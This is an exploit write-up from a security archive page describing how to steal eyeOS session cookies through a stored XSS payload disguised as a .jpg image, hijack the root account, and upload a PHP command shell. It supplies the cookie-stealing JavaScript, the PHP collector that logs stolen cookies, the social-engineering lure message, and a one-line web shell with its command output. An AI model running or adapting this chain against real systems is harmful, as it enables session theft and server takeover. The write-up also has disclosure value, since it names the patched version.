what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

eyeOS Shell Upload / Cross Site Scripting

eyeOS Shell Upload / Cross Site Scripting
Posted May 12, 2011
Authored by knull | Site leethack.info

This is a brief write up discussing how to leverage cross site scripting and shell upload vulnerabilities in eyeOS versions prior to 1.9.0.3.

tags | exploit, shell, vulnerability, xss
SHA-256 | a85cc3f9867494f8f5494efd6b0a2014c6c25a8a712b1ca45e7374338ed1221b

eyeOS Shell Upload / Cross Site Scripting

Change Mirror Download
A few weeks ago, an exploit for an increasingly more popular open source OS on http://www.exploit-db.com/exploits/17220/ was made public, it was titled 'eyeOS <= 1.9.0.2 Stored XSS Vulnerability Using Image Files'. I wondered if more could be done than just plain old XSS...

Based on the PoC, I came up with nothing less than a way to collect the username and session cookie for eyeOS:

<!doctype html>
<script>
var http = new XMLHttpRequest()
var url = "http://localhost/report.php?" + "user=" + top.document.title + "&cookie=" + document.cookie;
http.open("GET", url, true);
http.send("");
</script>

Once saved to a file such as 'filename.jpg', this file can be uploaded to eyeOS's 'Public' group directory from within eyeOS itself, where unsuspecting users can be lured into clicking the malicious file, triggering its payload. Social engineering can also be used by the attacker to get them to download and click on the file via eyeOS's internal messaging. By attaching the malicious 'jpg' file and a bit of social engineering, pretending to ask for help from the administrator of eyeOS (root) with a message such as: 'my image doesnt open, can you check plz?!' the root user for eyeOS can be compromised.

The following code will go on the malicious server as report.php (in this example):

<?php
$usercookies = fopen("usercookies", "a");
fwrite($usercookies, "User: " . $_GET['user'] . "\t" ."Cookie: " . $_GET['cookie'] . "\n");
?>

Once the image is clicked the file 'usercookies' will have usernames and cookies appended to it, looking something like this:
User: root@eyeos Cookie: PHPSESSID=5efd5cee3edd6ab65f4644036ee6cc34

The malicious attacker may use the following linux command to watch for new entries in real time:
`watch cat usercookies`

After which the user can register, sign into eyeOS, and then edit his cookie (with something like the 'Cookie Manager' add-on for Firefox) to reflect that of 'root', essentially becoming 'root' on eyeOS.

Once having administrator priviledges on eyeOS its pretty much game over, any and all files in the eyeOS directory tree maybe viewed, edited, or downloaded. A PHP shell can be uploaded through the standard eyeOS uploader to pretty much anywhere in the eyeOS directory tree, even real://../ (revealing 'EYE_ROOT' which was designed not to be viewed by other than the administrators of the eyeOS installation) can be viewed and uploaded to, ultimately gaining control of the server with the permissions of the service hosting eyeOS.

After uploading this shell:

<?php
system($_GET['cmd']);
?>

to real://../ it can be used like so:

http://localhost/eyeOS/shell.php?cmd=id

with the results as:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Other shells can be uploaded instead of this simple example.

The eyeOS 1.9 branch has been patched as of version 1.9.0.3, the code changes patching the XSS flaw may be viewed http://eyeos.svn.sourceforge.net/viewvc/eyeos?limit_changes=0&view=revision&revision=7188

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close